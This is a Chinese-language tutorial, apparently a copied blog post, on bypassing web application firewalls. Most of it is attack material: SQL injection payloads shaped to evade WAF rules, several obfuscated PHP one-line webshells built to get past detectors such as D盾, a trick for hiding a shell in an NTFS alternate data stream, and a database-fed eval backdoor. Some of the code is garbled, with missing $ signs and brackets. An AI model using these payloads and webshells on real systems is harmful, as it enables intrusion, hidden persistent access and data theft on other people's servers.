bypass--绕Waf

WAF检测机制

WAF检测机制核心就是正则匹配

常见绕WAF手法

1.大小写绕过 (很老的WAF才有用)

2.替换绕过(很老的WAF才有用)【和上传文件那个pphphp一样】

3.特殊字符绕过 (%0a换行)

数据库注释

/**/可以尝试替换空格 sleep() => sleep/**/()

/*!*/内联注释 //可以运行

union select => union /*!10044select*/

10044是版本号 50001等等也是 可以尝试加入到内联注释里尝试是否绕过

-- qwe /*%0a*/

union*/

http://192.168.32.128/index.php?id=1 union /*!10044select*/1,2,3-- qwe/*%0afrom admin%23*/

%0a 换行 -- qwe 注释(只注释本行) # 也是注释

http://192.168.32.128/index.php?id=1 union #/*%0a select 1,password,3 from admin limit 1,1#*/

也可以尝试在函数加上"绕过

"sleep"() updatexml等

4.编码绕过 (比如会多次解码的东西)

5.等价替换 (利用其它函数替代)

union #%0aselect 拦截\]\[union all #%0aselect 不拦截

6.容器特性(例如Apace的Hpp,或者是IIS的%分割)

iis 传参里面

s%e%l%e%c%t =>select

Apache Hpp

http://192.168.32.128/index.php?id=1/\*\&id=2 union select 1,password,3 from admin limit 1.1#*/

只会接受第二个传参

7.白名单(管理员权限或者是127.0.0.1本地访问不拦截)

修改请求头

8.缓冲区(数据太多了,超出了WAF检测的范围)

webshell绕过

<?php eval($_REQUEST'a')?>

这个就是a的一句话木马 这个语句肯定是会被拦截的,

为什么拦截

关于拦截最主要的还是测试,看看Waf怎么拦截

最直接的检测应该是正则匹配 只写<?php eval();?> 没有拦截,加了$_REQUEST'a'就拦截

测试拦截$_REQUEST'a'的哪个部分。 测试发现拦截的是

end ()函数可以绕过

<?php eval(end($_REQUEST));?>

这个语句就没有出现$_REQUEST 所以成功过狗,我们用end来替代了 \[\]

end 函数的意义:输出数组中的当前元素和最后一个元素的值,然后因为我的传参就一个

用这个连菜刀 没有密码

通过常量定义:

<?php define("a","$_REQUESTa");eval(a);

<?php $a='ass';

$b='ert';

funcName=a.$b; //assert

$x='funcName';

$$x(_REQUEST\[1\]); //funcName = assert($_REQUEST1)

通过函数定义强行分割:

<?php

function a($a){

return $a;}

eval(a(_REQUEST)\[1\]);?\> //强行分割_POST'a'
通过类定义,然后传参强行分割

<?php

class User

{

public $name = ''; (两个的单引号)

function __destruct(){

eval("$this->name");

}

}

$user = new User;

user-\>name = ''._REQUEST1;

?>
多方式传参免杀:

<?php

COOKIE = _COOKIE; ////获取Cookie传参 数组 a=1 key=a value=1

foreach(COOKIE as key => $value){

if($key=='assert'){

key(_REQUEST'1';)

}

}

?>

需要设置cookie为assert

<?php

$a=get_defined_functions(); //列出mysql所有支持的函数

a\['internal'\]\[841\](_REQUEST'a'); 841代表的是assert

<?php

if($_SERVER'HTTP USER_AGENT'=="1) )(

:eval(end($ REQUEST)):}?> 通过加 if 绕过d盾 用burp改请求头为1

拿到shell之后藏shell:

ntfs文件流

在菜刀命令行里执行

echo "<?php eval($_REQUESTa)?>" >> /:123.txt

执行之后虽然页面上没有文件产生 但实际文件已经产生

然后将上传文本改成

<?php include('/:123.txt')?>

对方就看不见木马文件 dir也看不到 (只能在Windows里用)

绕过市面上所有WAF

<?php eval(mysqli_fetch_assoc(mysqli_query(mysqli_

connect('127.0.0.1','root','root','

maoshe'),'select * from info'))'info');

mysqli_fetch_assoc 结果中取一行数据

通过连接数据库 网址换成你的主机 打开maoshe数据库 取info表里的一个数据 实际攻击可以换成你的库名 表名 需要提前把你表明里的数据写成 eval($_REQUESTa

相关推荐
云水一下33 分钟前
零基础玩转bWAPP靶场(十三):SQL 注入(GET/搜索型)
web安全·sql注入·bwapp
北冥you鱼2 小时前
OpenZeppelin Contracts 完全指南:从入门到精通,构建安全的智能合约
安全·区块链·智能合约
头茬韭菜3 小时前
4.9 SSRF 防护 — Web 工具的出站安全与私有 IP 拦截
前端·tcp/ip·安全
云水一下4 小时前
零基础玩转bWAPP靶场(十二):Mail Header Injection(SMTP邮件头注入)
web安全·bwapp·邮箱头注入
上海云盾-高防顾问4 小时前
SD-WAN 跨境加速,真实日常使用体验
网络·网络安全
恒拓高科WorkPlus4 小时前
BeeWorks Meet私有化视频会议:内网会议、组织架构联动与会议安全
安全·架构
云祺vinchin4 小时前
《“医保影像云”基础规范》核心解读
安全·数据安全·容灾备份·国产化替代·医保影像云
Multipath7125 小时前
多链路聚合 + 宽带自组网 + 卫星便携站,构筑应急通信“铁三角”乾元通多链路聚合路由破局“三断”绝境,重构应急通信生命线
网络·5g·安全·智能路由器·实时音视频
中北marry5 小时前
玄机靶场wp 应急响应-webshell查杀
网络安全
yydbjx6 小时前
KACHIE发圈更隐蔽,博容安可的侧键推杆是不是不如它?
安全·求救器·防身